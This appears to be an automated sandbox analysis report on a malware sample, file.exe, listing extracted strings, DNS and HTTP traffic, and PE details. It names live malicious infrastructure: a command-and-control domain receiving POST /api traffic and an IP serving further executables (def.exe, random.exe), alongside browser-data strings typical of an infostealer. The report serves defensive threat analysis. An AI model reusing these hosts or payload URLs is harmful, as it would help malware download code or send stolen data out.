Source: chromecache_104.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_104.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_104.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000001.00000002.1664836324.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1664299530.000000000138B000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000001.00000002.1664836324.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeXSb
Source: file.exe, 00000001.00000002.1664836324.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1659755524.000000000161F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000001.00000002.1669957186.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1660820771.0000000005E66000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1660902842.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.co:
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000001.00000003.1381842649.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_104.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_104.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_77.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_104.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_104.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: file.exe, 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000001.00000003.1382851247.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1381633869.0000000001651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/8
Source: file.exe, 00000001.00000002.1664513538.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/F
Source: file.exe, 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/P
Source: file.exe, 00000001.00000003.1375174685.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1381675218.0000000001660000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407535058.000000000166F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1574522648.0000000001673000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407562474.0000000001676000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431548967.0000000001673000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1381633869.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407454247.0000000001659000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiB
Source: file.exe, 00000001.00000003.1574451147.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiP
Source: file.exe, 00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1381675218.0000000001660000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407535058.000000000166F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407562474.0000000001676000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apih
Source: file.exe, 00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiogb
Source: chromecache_104.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_104.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_104.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_104.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_104.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_104.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_104.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_104.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_104.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_104.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_104.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_104.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_104.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_104.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_104.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000001.00000003.1368707467.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369077193.0000000005E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_104.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000003.1382873933.000000000613D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49748 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_06542424

1_2_06542424

Source: file.exe, 00000001.00000003.1532398770.00000000063EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1546235217.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538300372.00000000063A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538824028.00000000064A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543389774.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540262644.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1532296696.0000000006347000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534113805.000000000642C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1532881647.000000000635A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535818533.00000000062BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535213252.000000000644F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537183311.00000000062BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543887819.00000000063D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000002.1671072988.0000000006818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538560777.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543635644.000000000650B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537811961.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540960941.00000000064DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538957582.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533255903.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537319051.0000000006399000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535518011.0000000006447000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545519437.00000000063F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1542600365.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534884965.0000000006376000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1531490242.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1544895306.000000000652F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540002082.00000000063B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535716725.0000000006383000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545666041.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535414357.0000000006381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543762453.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538170261.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543123258.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1532782491.00000000062BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543513203.00000000063DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1531310004.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1546083064.00000000063FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534019731.000000000636C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545965346.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1536003380.0000000006460000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533089300.0000000006358000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539338814.00000000063B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1528889865.0000000005F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535614482.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1536208342.000000000638B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533178802.0000000006400000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537691137.00000000063B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1541392745.00000000063CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
